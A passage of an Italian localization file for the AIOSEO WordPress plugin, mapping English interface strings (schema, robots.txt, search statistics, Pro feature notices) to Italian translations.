il tuo sito al Centro Editori di Google e averlo approvato.','Image SEO is a %1$s Feature'=>'La SEO delle immagini è una funzionalità di %1$s','Default Term Image Source is a %1$s feature. %2$s'=>'Il termine predefinito Sorgente immagine è una funzionalità di %1$s . %2$s','Default Taxonomy Object Types is a %1$s feature. %2$s'=>'I tipi predefiniti di oggetti della tassonomia sono una funzionalità di %1$s . %2$s','Dashboard Widgets is a %1$s feature. %2$s'=>'I widget della bacheca sono una funzionalità di %1$s . %2$s','Custom Taxonomy Support is a %1$s Feature'=>'Il supporto alle tassonomie personalizzate è una funzionalità di %1$s','Custom Fields is a %1$s Feature'=>'I campi personalizzati sono una funzionalità di %1$s','Count'=>'Conteggio','Cornerstone content refers to the most important and informative articles or pages on your website that serve as the foundation for your content strategy. AIOSEO uses cornerstone content for'=>'I contenuti cornerstone sono gli articoli o le pagine più importanti e informative del tuo sito web, che fungono da base per la tua strategia di contenuti. AIOSEO usa i contenuti cornerstone per','Cornerstone Content is a %1$s feature. %2$s'=>'Contenuto cornerstone è una funzionalità di %1$s . %2$s','Cornerstone Content'=>'Contenuto cornerstone','By default, only Administrators have permission to manage %1$s within WordPress. With Access Controls, you can easily extend access permissions to other user roles.'=>'Per impostazione predefinita, solo gli Amministratori hanno il permesso di gestire %1$s all\'interno di WordPress. Con il Controllo accessi, puoi estendere facilmente i permessi di accesso ad altri ruoli utente.','Breadcrumb Templates is a %1$s Feature'=>'I template breadcrumb sono una funzionalità di %1$s','Admin Bar Menu is a %1$s feature. %2$s'=>'Il menu della barra di amministrazione è una funzionalità di %1$s . %2$s','Additional Keyphrases are a %1$s feature. %2$s'=>'Le frasi chiave aggiuntive sono una funzionalità di %1$s . %2$s','Access Control is a %1$s Feature'=>'Il Controllo accessi è una funzionalità di %1$s','Your TikTok URL is invalid. Please check the format and try again.'=>'Il tuo URL TikTok non è valido. Controlla il formato e riprova.','Show more'=>'Mostra di più','Highlighting is disabled for current view'=>'L\'evidenziazione è disabilitata per la vista corrente','Highlight sections in the Editor'=>'Evidenzia le sezioni nell\'editor','Your source is a protected path and cannot be redirected.'=>'La tua fonte è un percorso protetto e non può essere reindirizzata.','Warning: You have disabled Autogenerate Descriptions and are using the default description format. %1$s will not output a description unless you enter a custom one. You can enable Autogenerate Descriptions under %2$s.'=>'Attenzione: Hai disabilitato l\'autogenerazione delle descrizioni e stai utilizzando il formato predefinito della descrizione. %1$s non creerà una descrizione se non ne inserisci una personalizzata. Puoi abilitare l\'autogenerazione delle descrizioni in %2$s.','This allows you to hide plugin announcements and update details in the Notification Center.'=>'Questo ti permette di nascondere gli annunci dei plugin e i dettagli degli aggiornamenti nel Centro notifiche.','Search Appearance > Advanced'=>'Aspetto della ricerca > Avanzato','Oops! It looks like an error occurred while saving the changes. Please try again or %1$scontact our support team%2$s.'=>'Ops! Sembra che si sia verificato un errore durante il salvataggio delle modifiche. Prova di nuovo o %1$scontatta il nostro team di assistenza%2$s.','Database Version'=>'Versione del database','Database Powered By'=>'Database powered by','Database Size'=>'Dimensione del database','Database'=>'Database','Data: %1$.2f MB / Index: %2$.2f MB / Engine: %3$s / Collation: %4$s'=>'Dati: %1$.2f MB / Indice: %2$.2f MB / Motore: %3$s / Fascicolazione: %4$s','Update Page'=>'Aggiorna la pagina','You have 1 more notification'=>'Hai un\'altra notifica','This functionality relies on widget support, which is not available in your current theme.'=>'Questa funzionalità si basa sul supporto dei widget, che non è disponibile nel tema attuale.','%1$s Density is low at %2$s, the Keyphrase appears %3$s times. For better results, try to aim for more than %4$s.'=>'%1$s La densità è bassa: %2$s, la frase chiave appare %3$s volte. Per ottenere risultati migliori, cerca di puntare a più di %4$s.','%1$s Density is high at %2$s, the Keyphrase appears %3$s times. For better results, try to aim for lower than %4$s.'=>'%1$s La densità è alta a %2$s, la frase chiave appare %3$s volte. Per ottenere risultati migliori, cerca di puntare a una densità inferiore a %4$s.','%1$s Density is %2$s, the Keyphrase appears %3$s times.'=>'%1$s La densità è %2$s, la frase chiave appare %3$s volte.','%1$s density'=>'%1$s densità','Breadcrumbs are currently disabled, so this block will be rendered empty. You can enable %1$s\'s breadcrumb functionality under %2$sGeneral Settings > Breadcrumbs%3$s.'=>'Attualmente i breadcrumb sono disabilitati, quindi questo blocco verrà reso vuoto. Puoi abilitare la funzionalità breadcrumb di %1$sin %2$sImpostazioni generali > Breadcrumbs%3$s.','This site runs in a sub-directory. The robots.txt file must be located at the root of the website host to which it applies.'=>'Questo sito si trova in una sotto-directory. Il file robots.txt deve trovarsi nella root del sito web che ospita.','This rule overrides the default rule #%1$s%2$s.'=>'Questa regola sostituisce la regola predefinita #%1$s%2$s.','This rule is a duplicate of rule #%1$s%2$s.'=>'Questa regola è un duplicato della regola #%1$s%2$s.','This rule conflicts with rule #%1$s%2$s.%3$s'=>'Questa regola è in conflitto con la regola #%1$s%2$s.%3$s','The network rule takes precedence.'=>'La regola di rete ha la precedenza.','The "Allow" rule takes precedence.'=>'La regola "allow" ha la precedenza.','Paste Robots.txt text'=>'Incolla il testo del robots.txt','Or'=>'Oppure','Invalid robots.txt URL.'=>'URL del robots.txt non valido.','Import Robots.txt'=>'Importa il file robots.txt','Import from URL'=>'Importa da un URL','https://any-domain.com/robots.txt'=>'https://any-domain.com/robots.txt','from the network level'=>'a livello di rete','Equivalent to rule #%1$s%2$s. The trailing wildcard is ignored.'=>'Equivale alla regola #%1$s%2$s. Il carattere jolly finale viene ignorato.','Directive'=>'Direttiva','Custom Robots.txt Preview'=>'Anteprima personalizzata del robots.txt','Clean-param must start with at least one param which is optionally followed by one path.'=>'Clean-param deve iniziare con almeno un parametro che è opzionalmente seguito da un percorso.','There was an error importing the robots.txt content from the URL.'=>'Si è verificato un errore nell\'importazione dei contenuti del robots.txt dall\'URL.','No User-agent found in the content beginning.'=>'Non è stato trovato alcun user agent all\'inizio del contenuto.','With our powerful revisions feature for all your SEO data, never lose the exact SEO title or description (and more!) that helped you rank higher in search results and restore it back in a single click.'=>'Con la nostra potente caratteristica di revisione di tutti i tuoi dati SEO, non perdi mai il titolo o la descrizione SEO (né molto altro!) che ti hanno aiutato a posizionarti più in alto nei risultati di ricerca. Li puoi ripristinare in un solo clic.','SEO Revisions provide a historical record of SEO updates, allowing you to monitor the effectiveness of your SEO efforts and make informed decisions. (Plus, Pro & Elite plans only)'=>'Le revisioni SEO forniscono un registro storico degli aggiornamenti SEO, consentendoti di monitorare l\'efficacia dei tuoi sforzi SEO e di prendere decisioni informate. (Solo per i piani Plus, Pro ed Elite)','SEO Revisions Comparison'=>'Confronto di SEO Revisions','Previous'=>'Precedente','Our powerful revisions feature provides a valuable record of SEO updates, allowing you to monitor the effectiveness of your SEO efforts and make informed decisions.'=>'La nostra potente funzione di revisione fornisce un prezioso registro degli aggiornamenti SEO, consentendoti di monitorare l\'efficacia dei tuoi sforzi SEO e di prendere decisioni informate.','Open SEO Revisions'=>'Revisioni SEO aperte','Next'=>'Successivo','Improved SEO strategy'=>'Strategia SEO migliorata','Historical record of optimization efforts'=>'Registro storico degli sforzi di ottimizzazione','Greater transparency and accountability'=>'Maggiore trasparenza e responsabilità','Go to editor'=>'Vai all\'editor','Easy to manage revisions'=>'Facile gestione delle revisioni','Compare Revisions of'=>'Confronta le revisioni di','Compare any two revisions'=>'Confronta due revisioni qualsiasi','SEO Revisions'=>'Revisioni SEO','Less than %1$s of your H2 and H3 subheadings reflect the topic of your copy. That\'s too few.'=>'Meno del %1$s dei tuoi titoli H2 e H3 riflettono l\'argomento del tuo testo. È troppo poco.','(legacy)'=>'(legacy)','We encountered an error loading the code snippets, please try again later.'=>'Si è verificato un errore nel caricamento degli snippet di codice, riprova più tardi.','Using WPCode you can install AIOSEO code snippets with 1-click directly from this page or the WPCode library inside the WordPress admin.'=>'Con WPCode puoi installare i code snippet di AIOSEO con un solo clic direttamente da questa pagina o dalla libreria WPCode nell\'amministrazione di WordPress.','Use Snippet'=>'Usa Snippet','Update WPCode'=>'Aggiorna WPCode','Please Update WPCode to load the AIOSEO Snippet Library'=>'Aggiorna WPCode per caricare la libreria di snippet di AIOSEO','Please Install WPCode to load the AIOSEO Snippet Library'=>'Installa WPCode per caricare la libreria di snippet AIOSEO','Please Activate WPCode to load the AIOSEO Snippet Library'=>'Attiva WPCode per caricare la libreria di snippet AIOSEO','Learn More about WPCode Snippets'=>'Conosci meglio WPCode Snippets','Install WPCode'=>'Installa WPCode','Future proof your WordPress customizations with the most popular code snippet management plugin for WordPress. Trusted by over 1,500,000+ websites for easily adding code to WordPress right from the admin area.'=>'Proteggi le tue personalizzazioni di WordPress con il più popolare plugin di gestione degli snippet di codice per WordPress. Più di 1.500.000 siti web lo hanno già scelto per aggiungere con facilità codice a WordPress direttamente dall\'area di amministrazione.','Code Snippets'=>'Snippet di codice','Activate WPCode'=>'Attiva WPCode','Use the power of ChatGPT to generate engaging SEO titles and meta descriptions for your posts.'=>'Sfrutta la potenza di ChatGPT per generare titoli e meta descrizioni SEO coinvolgenti per i tuoi post.','Open AI Integration'=>'Integrazione di Open AI','The Content Rankings report provides valuable insights into the performance of your content in search results and helps you optimize your posts for better results. This report is generated on a monthly basis, covering the past 12 months leading up to the current month. By regularly reviewing this report, you can identify trends in your post rankings and make informed decisions to improve your content\'s visibility and ultimately increase rankings in search results.'=>'Il report Posizionamento dei contenuti fornisce informazioni preziose sulle prestazioni dei tuoi contenuti nei risultati della ricerca e ti aiuta a ottimizzare i tuoi articoli per ottenere risultati migliori. Questo report viene generato su base mensile e copre gli ultimi 12 mesi fino al mese in corso. Esaminando regolarmente questo report, puoi identificare le tendenze nel posizionamento dei tuoi articoli e prendere decisioni informate per migliorare la visibilità dei tuoi contenuti e, in ultima analisi, migliorare il posizionamento nei risultati di ricerca.','Slowly Recovering'=>'In lenta ripresa','Performance Score'=>'Punteggio delle prestazioni','Peak'=>'Picco','Loss'=>'Perdita','Last Updated On'=>'Ultima data di aggiornamento','Example'=>'Esempio','Drop (%)'=>'Diminuzione (%)','Did you know that %1$s Pro allows you to choose a %2$sprimary category%3$s for your posts? This feature works hand in hand with our powerful Breadcrumbs template to give you full navigational control to help improve your search rankings!'=>'Sapevi che %1$s nella versione Pro ti permette di scegliere una %2$scategoria primaria%3$s per le tue pubblicazioni? Questa caratteristica va di pari passo con il nostro potente template Breadcrumb per darti il pieno controllo della navigazione e aiutarti a migliorare le tue posizioni nella ricerca!','Country code'=>'Codice Paese','Choose country'=>'Scegli il Paese','%1$s Points'=>'%1$s Punti','%1$s points'=>'%1$s punti','The description of the primary term, first assigned term or the current term.'=>'La descrizione del termine primario, del primo termine assegnato o del termine attuale.','The title of the primary term, first assigned term or the current term.'=>'Il titolo del termine primario, del primo termine assegnato o del termine attuale.','All Content Types'=>'Tutti i tipi di contenuto','Made with ♥ by the AIOSEO Team'=>'Realizzato con ♥ dal team di AIOSEO','Free Plugins'=>'Plugin gratuiti','title'=>'titolo','The API key you have entered is invalid. Please check your API key and try again.'=>'La chiave API che hai inserito non è valida. Controlla la tua chiave API e riprova.','With our Pro version, you now have access to the powerful feature that generates SEO optimized %1$s with just a click of a button. Say goodbye to manual %2$s creation and hello to increased online visibility.'=>'Con la nostra versione Pro, ora hai accesso alla potente funzione che genera %1$s ottimizzato per la SEO con un semplice clic. Dì addio alla creazione manuale di %2$s e dai il benvenuto a una maggiore visibilità online.','Use AI Generator'=>'Usa il generatore AI','Titles'=>'Titoli','OpenAI API Key'=>'Chiave API OpenAI','meta descriptions'=>'meta descrizioni','Learn more about all the features'=>'Per saperne di più su tutte le funzionalità','Generating SEO %1$s is a Pro Feature'=>'Generare SEO %1$s è una caratteristica Pro','Enter an OpenAI API key in order to automatically generate SEO titles and meta descriptions for your pages. %1$s'=>'Inserisci una chiave API OpenAI per generare automaticamente titoli e meta descrizioni SEO per le tue pagine. %1$s','Descriptions'=>'Descrizioni','We have detected that you are currently using the %1$s Page Builder. Please click %2$shere%3$s to use the %1$s editor for a most accurate result.'=>'Abbiamo rilevato che stai utilizzando il Page Builder %1$s . Fai clic %2$squi%3$s per utilizzare l\'editor %1$s per ottenere un risultato più accurato.','Depending on the number of posts being scanned, this process can take some time. You can safely leave this page and check back later.'=>'A seconda del numero di post da scansionare, questo processo può richiedere del tempo. Puoi tranquillamente lasciare questa pagina e tornare a controllarla più tardi.','Your connection with Google Search Console has expired or is invalid. Please check that your site is verified in Google Search Console and try to reconnect. If the problem persists, please contact our support team.'=>'La tua connessione con Google Search Console è scaduta o non è valida. Assicurati che il tuo sito sia verificato in Google Search Console e prova a riconnetterti. Se il problema persiste, contatta il nostro team di assistenza.','Yes, I want to disconnect'=>'Sì, voglio disconnettermi','This action will disconnect %1$s from Google Search Console. By disconnecting from Google Search Console, you will no longer receive valuable insights on how your content is being discovered.'=>'Questa azione disconnette %1$s dalla Google Search Console. Se ti disconnetti dalla Google Search Console, non riceverai più informazioni preziose sul modo in cui i tuoi contenuti vengono scoperti.','Schema'=>'Schema','Reconnect'=>'Riconnetti','Position'=>'Posizione','Impressions'=>'Impressioni','Disconnect'=>'Disconnetti','Diff'=>'Diff','Clicks'=>'Clic','Avg. CTR'=>'CTR medio','Your URL is invalid.'=>'Il tuo URL non è valido.','Your target URL is not valid.'=>'L\'URL di destinazione non è valido.','You don\'t have any keywords yet.'=>'Non hai ancora nessuna parola chiave.','Winning / Losing'=>'Vincere / Perdere','Up'=>'Su','TruSEO Score'=>'Punteggio TruSEO','Track page rankings'=>'Traccia il posizionamento delle pagine','Track keyword rankings'=>'Traccia i posizionamenti delle parole chiave','Track how your site is performing in search rankings and generate reports with actionable insights.'=>'Tieni traccia dell\'andamento del tuo sito nelle classifiche di ricerca e genera report con informazioni utili.','Track how well keywords are ranking in search results over time based on their position and average CTR. This can help you understand the performance of keywords and identify any trends or fluctuations.'=>'Tieni traccia del posizionamento delle parole chiave nei risultati di ricerca nel tempo in base alla loro posizione e al CTR medio. Questo può aiutarti a capire le prestazioni delle parole chiave e a identificare eventuali tendenze o fluttuazioni.','Total Keywords'=>'Totale parole chiave','Total Clicks'=>'Totale clic','Top Winning'=>'Guadagnano posizioni','Top Pages'=>'Pagine principali','Top Losing'=>'Perdono posizioni','Top Keywords'=>'Parole chiave principali','Top 3 Position'=>'Posizione Top 3','This table displays the performance of keywords that your site ranks for over time, including metrics such as impressions, click-through rate, and average position in search results. It allows for easy analysis of how keywords are performing and identification of any underperforming keywords that may need to be optimized or replaced.'=>'Questa tabella mostra le prestazioni delle parole chiave per le quali il tuo sito si posiziona nel tempo, includendo metriche come le impressioni, il tasso di click-through (CTR) e la posizione media nei risultati di ricerca. In questo modo è possibile analizzare facilmente l\'andamento delle parole chiave e individuare quelle meno performanti che potrebbero dover essere ottimizzate o sostituite.','This graph is a visual representation of how well <strong>keywords are ranking in search results over time</strong> based on their position and average CTR. This can help you understand the performance of keywords and identify any trends or fluctuations.'=>'Questo grafico è una rappresentazione visiva di come le <strong>keyword si posizionano nei risultati di ricerca nel tempo</strong> in base alla loro posizione e al CTR medio. Ciò può aiutarti a comprendere le prestazioni delle parole chiave e a identificare eventuali tendenze o fluttuazioni.','This feature requires the following plan:'=>'Questa funzione richiede il seguente piano:','These lists can be useful for understanding the performance of specific pages or posts and identifying opportunities for improvement. For example, the top winning content may be good candidates for further optimization or promotion, while the top losing may need to be reevaluated and potentially updated.'=>'Queste liste possono essere utili per comprendere le prestazioni di pagine o articoli specifici e identificare le opportunità di miglioramento. Per esempio, i contenuti più validi potrebbero essere buoni candidati per un\'ulteriore ottimizzazione o promozione, mentre quelli che si posizionano peggio potrebbero aver bisogno di essere rivalutati e forse aggiornati.','The following SEO Statistics graphs are useful metrics for understanding the visibility of your website or pages in search results and can help you identify trends or changes over time.<br /><br />Note: This data is capped at the top 100 keywords per day to speed up processing and to help you prioritize your SEO efforts, so while the data may seem inconsistent with Google Search Console, this is intentional.'=>'I seguenti grafici delle statistiche SEO sono utili per comprendere la visibilità del tuo sito web o delle tue pagine nei risultati di ricerca e possono aiutarti a identificare tendenze o cambiamenti nel tempo.<br /><br />Nota: questi dati sono limitati alle prime 100 parole chiave al giorno per velocizzare l\'elaborazione e per aiutarti a dare priorità ai tuoi sforzi SEO; pertanto, anche se i dati possono sembrare incoerenti rispetto a Google Search Console, questo è intenzionale.','Speed tests for individual pages/posts'=>'Test di velocità per singole pagine/articoli','SEO Statistics'=>'Statistiche SEO','Search traffic insights'=>'Analisi sul traffico di ricerca','Search statistics are being fetched.'=>'Acquisizione delle statistiche di ricerca.','Search Impressions'=>'Impressioni di ricerca','Search Clicks'=>'Clic di ricerca','Refreshing data'=>'Aggiornamento dei dati','Post Optimizations'=>'Ottimizzazione degli articoli','Post Detail'=>'Dettaglio dell\'articolo','Open Report %1$s'=>'Apri il report %1$s','News & Video Sitemap'=>'Sitemap per News e Video','Loading new report data...'=>'Caricamento dei dati del nuovo report...','Last 7 Days'=>'Ultimi 7 giorni','Last 6 Months'=>'Ultimi 6 mesi','Last 3 Months'=>'Ultimi 3 mesi','Last 28 Days'=>'Ultimi 28 giorni','Keyword Rankings'=>'Posizionamento delle parole chiave','Keyword Positions'=>'Posizioni delle parole chiave','Keyword Performance'=>'Prestazioni delle parole chiave','Keyword'=>'Parola chiave','Included as Pro Feature'=>'Incluso come caratteristica Pro','in search results'=>'nei risultati della ricerca','Google Search Console Integration'=>'Integrazione di Google Search Console','Down'=>'Giù','Content Rankings'=>'Posizionamento dei contenuti','Connect your site to Google Search Console to receive insights on how content is being discovered. Identify areas for improvement and drive traffic to your website.'=>'Collega il tuo sito alla Google Search Console per ricevere informazioni su come le persone trovano i tuoi contenuti. Identifica le aree di miglioramento e aumenta il traffico verso il tuo sito web.','Connect with Google Search Console to track how your site is performing in search rankings and generate reports with actionable insights that help you get the most out of your content. (Elite plan only)'=>'Connettiti con Google Search Console per monitorare l\'andamento del tuo sito nelle classifiche di ricerca e generare report con informazioni utili per ottenere il massimo dai tuoi contenuti. (Solo per il piano Elite)','Connect to Google Search Console'=>'Collegati alla Google Search Console','Avg. Position'=>'Posizione media','50-100 Position'=>'Posizione 50-100','4-10 Position'=>'Posizione 4-10','11-50 Position'=>'Posizione 11-50','%s spot'=>'%s posizione' . "\0" . '%s posizioni','%s point'=>'%s punto' . "\0" . '%s punti','%s keyword'=>'%s parola chiave' . "\0" . '%s parole chiave','%s impression'=>'%s impressione' . "\0" . '%s impressioni','%s click'=>'%s clic' . "\0" . '%s clic','%1$sUpgrade your %2$s %3$s%4$s plan to see Keyword Positions'=>'%1$sPassa al piano %2$s %3$s%4$s per vedere le posizioni delle parole chiave','%1$s %2$s %3$s compared to the previous period (%4$s - %5$s)'=>'%1$s %2$s %3$s rispetto al periodo precedente (%4$s - %5$s)','Search Statistics'=>'Statistiche di ricerca','source url set once post is published'=>'url di origine impostato una volta che l\'articolo è stato pubblicato','Google Rich Results Test'=>'Test sui risultati avanzati di Google','SEO Setup Wizard'=>'Configurazione guidata della SEO','SEO Overview'=>'Panoramica SEO','SEO Inspector'=>'SEO Inspector','Select which %1$s widgets to display on the dashboard.'=>'Seleziona i widget di %1$s da visualizzare nella bacheca.','Post Types:'=>'Post Type:','Our SEO Setup Wizard dashboard widget helps you remember to finish setting up some initial crucial settings for your site to help you rank higher in search results. Once the setup wizard is completed this widget will automatically disappear.'=>'Il nostro widget per la configurazione guidata della SEO ti ricorda di completare la configurazione di alcune impostazioni iniziali cruciali per il tuo sito, così puoi posizionarti meglio nei risultati della ricerca. Una volta completata la configurazione guidata, il widget scompare automaticamente.','Our SEO Overview widget helps you determine which posts or pages you should focus on for content updates to help you rank higher in search results.'=>'Il nostro widget Panoramica SEO ti aiuta a determinare quali sono gli articoli o le pagine con contenuti da aggiornare, così puoi posizionarti meglio nei risultati di ricerca.','Our SEO News widget provides helpful links that enable you to get the most out of your SEO and help you continue to rank higher than your competitors in search results.'=>'Il nostro widget Novità SEO ti mostra link utili per trarre il massimo dalla tua strategia SEO, così puoi posizionarti più in alto rispetto ai tuoi concorrenti nei risultati della ricerca.','No keyphrase found'=>'Nessuna frase chiave trovata','No data yet'=>'Non ci sono ancora dati','Meta Tags'=>'Meta tag','List of custom field names to include as post content for tags and the SEO Page Analysis. Add one per line.'=>'Elenco di nomi di campi personalizzati da includere come contenuto del post per i tag e l\'analisi della pagina SEO. Aggiungine uno per riga.','Edit Facebook Meta Data'=>'Modifica i meta-dati di Facebook','NEW'=>'NUOVO','SEO Preview'=>'Anteprima SEO','Edit User'=>'Modifica utente','No articles were found.'=>'Non sono stati trovati articoli.','Unisex'=>'Unisex','Press enter to create a value'=>'Premi inserisci per creare un valore','Male'=>'Maschile','Female'=>'Femminile','An alternate name for your site. This could be an acronym or shorter version of your website name.'=>'Un nome alternativo per il tuo sito. Potrebbe essere un acronimo o una versione più breve del nome del tuo sito web.','Alternate Website Name'=>'Nome alternativo del sito web','A name that Google may use for your homepage in mobile search results. This will default to the WordPress site title if left blank.'=>'Un nome che Google può utilizzare per la tua homepage nei risultati della ricerca da mobile. Se lasciato vuoto, questo nome corrisponde al titolo del sito WordPress.','Remove Smart Tag'=>'Rimuovi smart tag','Minimum size: 200px x 200px, ideal ratio 1.91:1, 8MB max. (eg: 1640px x 856px or 3280px x 1712px for Retina screens). JPG, PNG, WEBP and GIF formats only.'=>'Dimensioni minime: 200px x 200px, rapporto ideale 1.91:1, 8MB max. (es. 1640px x 856px o 3280px x 1712px per schermi Retina). Solo formati JPG, PNG, WEBP e GIF.','Minimum size: 200px x 200px, ideal ratio 1.91:1, 5MB max. (eg: 1640px x 856px or 3280px x 1712px for Retina screens). JPG, PNG, WEBP and GIF formats only.'=>'Dimensione minima: 200px x 200px, rapporto ideale 1.91:1, 5MB max. (es. 1640px x 856px o 3280px x 1712px per schermi Retina). Solo formati JPG, PNG, WEBP e GIF.','Learn more about Smart Tags'=>'Per saperne di più sugli smart tag','It\'s impossible to cover every aspect of a subject on a single page, but your readers may be fascinated by some detail you barely touch on. If you link to a resource where they can learn more, they\'ll be grateful. What\'s more, you\'ll be rewarded with higher rankings!'=>'È impossibile coprire tutti gli aspetti di un argomento in una sola pagina, ma alcuni dei punti che citi potrebbero incuriosire chi ti legge. Se aggiungi il link a una risorsa di approfondimento, te ne saranno grati. In più, questo avrà un impatto positivo anche sul tuo posizionamento!','By default SEO Managers have access to %1$sSEO settings for General Settings, Sitemaps, Link Assistant, Redirects, Local SEO, and individual pages and posts.%2$s'=>'Per impostazione predefinita, i SEO Manager hanno accesso alle %1$simpostazioni SEO nelle sezioni Impostazioni generali, Sitemap, Link Assistant, Reindirizzamenti, SEO locale e nelle singole pagine e articoli.%2$s','Add links to internal and external resources that are useful for your readers. For Internal links, make sure the links are highly relevant to the subject you\'re writing about. For external links, make sure you link to high-quality sites - Google penalizes pages that link to "spammy" sites (ones that break the Google webmaster guidelines).'=>'Aggiungi link a risorse interne ed esterne utili per il tuo pubblico. Per quanto riguarda i link interni, assicurati che siano pertinenti all\'argomento di cui stai scrivendo. I link esterni, invece, dovrebbero puntare a siti di alta qualità: Google penalizza le pagine che si collegano a siti "spammosi" (che violano le linee guida di Google).','Week'=>'Settimana','Volunteer'=>'Volontario','Visual Arts Event'=>'Evento di arti visive','Theater Event'=>'Evento teatrale','Temporary'=>'Temporaneo','Start Date'=>'Data di inizio','Sports Event'=>'Evento sportivo','Social Event'=>'Evento sociale','Search Schema'=>'Cerca Schema','Screening Event'=>'Evento di screening','Scheduled'=>'Programmato','Sale Event'=>'Evento di vendita','Rescheduled'=>'Riprogrammato','Publication Event'=>'Evento editoriale','Professional Certificate'=>'Certificato professionale','Postponed'=>'Rinviata','Postgraduate Degree'=>'Diploma post-laurea','Part Time'=>'Part time','Other'=>'Altro','Online'=>'Online','Music Event'=>'Evento musicale','Moved Online'=>'Spostato online','Literary Event'=>'Evento letterario','Intern'=>'Stagista','Hour'=>'Ora','High School'=>'Scuola superiore','Hackathon'=>'Hackathon','Full Time'=>'A tempo pieno','Food Event'=>'Evento gastronomico','Festival'=>'Festival','Exhibition Event'=>'Evento espositivo','End Date'=>'Data finale','Education Event'=>'Evento educativo','Easily generate unlimited schema markup for your content to help you rank higher in search results. Our schema validator ensures your schema works out of the box.'=>'Genera con facilità un numero illimitato di markup Schema per i tuoi contenuti per aiutarti a posizionarti meglio nei risultati di ricerca. Il nostro tool di convalida assicura che il tuo Schema funzioni subito.','Details'=>'Dettagli','Delivery Event'=>'Evento di delivery','Day-by-Day Basis'=>'Base giornaliera','Dance Event'=>'Spettacolo di danza','Custom Schema'=>'Schema personalizzato','Contractor'=>'Appaltatore','Comedy Event'=>'Spettacolo comico','Childrens Event'=>'Evento per bambini','Cancelled'=>'Annullato','Business Event'=>'Evento aziendale','Bachelor Degree'=>'Laurea triennale','Associate Degree'=>'Laurea associata','Are you sure you want to delete this query arg?'=>'Confermi di voler davvero eliminare l\'argomento di questa query?','Annual'=>'Annuale','Your URL is invalid. Please check the format and try again.'=>'Il tuo URL non è valido. Controlla il formato e riprova.','Your Templates'=>'I tuoi template','You have not added any schema yet. You can add any schema graphs you like via the Schema Generator below.'=>'Non hai ancora aggiunto nessuno Schema. Puoi aggiungere tutti gli schema graph che vuoi con il generatore di markup Schema qui sotto.','Yes, process this network change'=>'Sì, elabora questa modifica della rete','Visit Site'=>'Visita il sito','Video'=>'Video','Validate with Google'=>'Convalida con Google','Validate Schema'=>'Convalida schema','Use our powerful Schema Generator to configure Schema Markup for your content. Search Engines use structured data to better understand what your site is about as well as to display rich snippets in search results. %1$s'=>'Usa il nostro potente generatore di markup Schema per configurare il markup Schema per i tuoi contenuti. I motori di ricerca si servono dei dati strutturati per capire meglio l\'argomento del tuo sito e per visualizzare i rich snippet nei risultati di ricerca. %1$s','Unlock network-level tools to manage all your sites from one easy-to-use location. Migrate data or create backups without the need to visit each dashboard.'=>'Sblocca gli strumenti a livello di rete per gestire tutti i tuoi siti da un\'unica postazione facile da usare. Migra i dati o crea backup senza dover visitare ogni bacheca.','Unlock network-level tools to manage all your sites from one easy-to-use location. Manage your license key activations for each individual domain.'=>'Sblocca gli strumenti a livello di rete per gestire tutti i tuoi siti da un\'unica postazione facile da usare. Gestisci le attivazioni delle chiavi di licenza per ogni singolo dominio.','Unlimited Schema'=>'Generazioni di Schema illimitate','This is the default graph for this post type. All data for this graph will be automatically generated.'=>'Questo è il grafico predefinito per questo post type. Tutti i dati di questo grafico saranno generati automaticamente.','This is a network-wide change.'=>'Si tratta di una modifica a livello di rete.','These custom robots.txt rules will apply globally to your entire network. To adjust the robots.txt rules for an individual site, please visit the dashboard for that site directly and update the settings there.'=>'Queste regole personalizzate del robots.txt saranno applicate a livello globale a tutto il tuo network. Per modificare le regole del robots.txt per un singolo sito, visita direttamente la bacheca di quel sito e aggiorna le impostazioni.','These custom robots.txt rules will apply globally to your entire network. To adjust the robots.txt rules for an individual site, please choose it in the list above.'=>'Queste regole personalizzate del robots.txt saranno applicate a livello globale a tutto il tuo network. Per modificare le regole del robots.txt per un singolo sito, selezionalo nella lista qui sopra.','Service'=>'Servizio','Select Site'=>'Seleziona il sito','Search Results Page'=>'Pagina dei risultati della ricerca','Schema Validation'=>'Schema Validator','Schema Templates'=>'Template di Schema','Schema In Use'=>'Schema in uso','Schema Generator'=>'Generatore di Schema','Schema Catalog'=>'Schema catalogo','Path'=>'Percorso','Network Admin (no site)'=>'Amministratore di rete (senza sito)','Music Group'=>'Gruppo musicale','Music Album'=>'Album musicale','Music'=>'Musica','Medical Page'=>'Pagina medica','Job Posting'=>'Annunci di lavoro','items per page'=>'elementi per pagina','Increase Rankings'=>'Migliora il posizionamento','How To'=>'Come fare','Generate Schema'=>'Genera Schema','Fact Check'=>'Fact checking','Event'=>'Evento','Domain Activations'=>'Attivazioni del dominio','Deactivate License'=>'Disattiva la licenza','Deactivate'=>'Disattiva','Dataset'=>'Set di dati','Configure Schema Markup for your content. Search engines use structured data to display rich results in SERPs.'=>'Configura Schema Markup per i tuoi contenuti. I motori di ricerca usano i dati strutturati per visualizzare i risultati avanzati nelle SERP.','Checkout Page'=>'Pagina di checkout','Are you sure you want to deactivate this addon across the network?'=>'Vuoi davvero disattivare questo addon su tutto il network?','Are you sure you want to deactivate these addons across the network?'=>'Vuoi davvero disattivare questi addon su tutto il network?','Are you sure you want to activate this addon across the network?'=>'Vuoi davvero attivare questo addon su tutto il network?','Are you sure you want to activate these addons across the network?'=>'Vuoi davvero attivare questi addon su tutto il network?','All'=>'Tutto','Alias Of'=>'Alias di','Additional Schema Types'=>'Nuovi tipi di Schema','Activate License'=>'Attiva la licenza','About Page'=>'Pagina About','The URL of the author page.'=>'L\'URL della pagina dell\'autore.','Author URL'=>'URL autore','Software'=>'Software','Network Tools'=>'Strumenti di rete','Website Name'=>'Nome del sito web','The Image SEO module is a premium feature that enables you to globally control the title, alt tag, caption, description and filename of the images on your site.'=>'Il modulo SEO per immagini è una funzione premium che ti permette di controllare globalmente il titolo, il tag alt, la didascalia, la descrizione e il nome del file delle immagini sul tuo sito.','description'=>'descrizione','Your %1$s will be noindexed and excluded from the sitemap so that search engines ignore them. You can still control how their page title looks like below.'=>'Le tue %1$s non saranno indicizzate e verranno escluse dalla sitemap, così i motori di ricerca le ignoreranno. È comunque possibile controllare l\'aspetto del titolo della pagina, come indicato di seguito.','You can choose to hide this block on the front-end of your site so that visitors won\'t see it but search engines will still see it.'=>'Puoi scegliere di nascondere questo blocco sul frontend del tuo sito in modo che i visitatori non lo vedano ma i motori di ricerca sì.','Words to Strip'=>'Parole da sfogliare','Underscores (_)'=>'Trattini bassi (_)','Title Case'=>'Title Case','These are the results our SEO Analzyer has generated after analyzing the homepage of your website.'=>'Questi sono i risultati che il nostro SEO Analzyer ha generato dopo aver analizzato la homepage del tuo sito 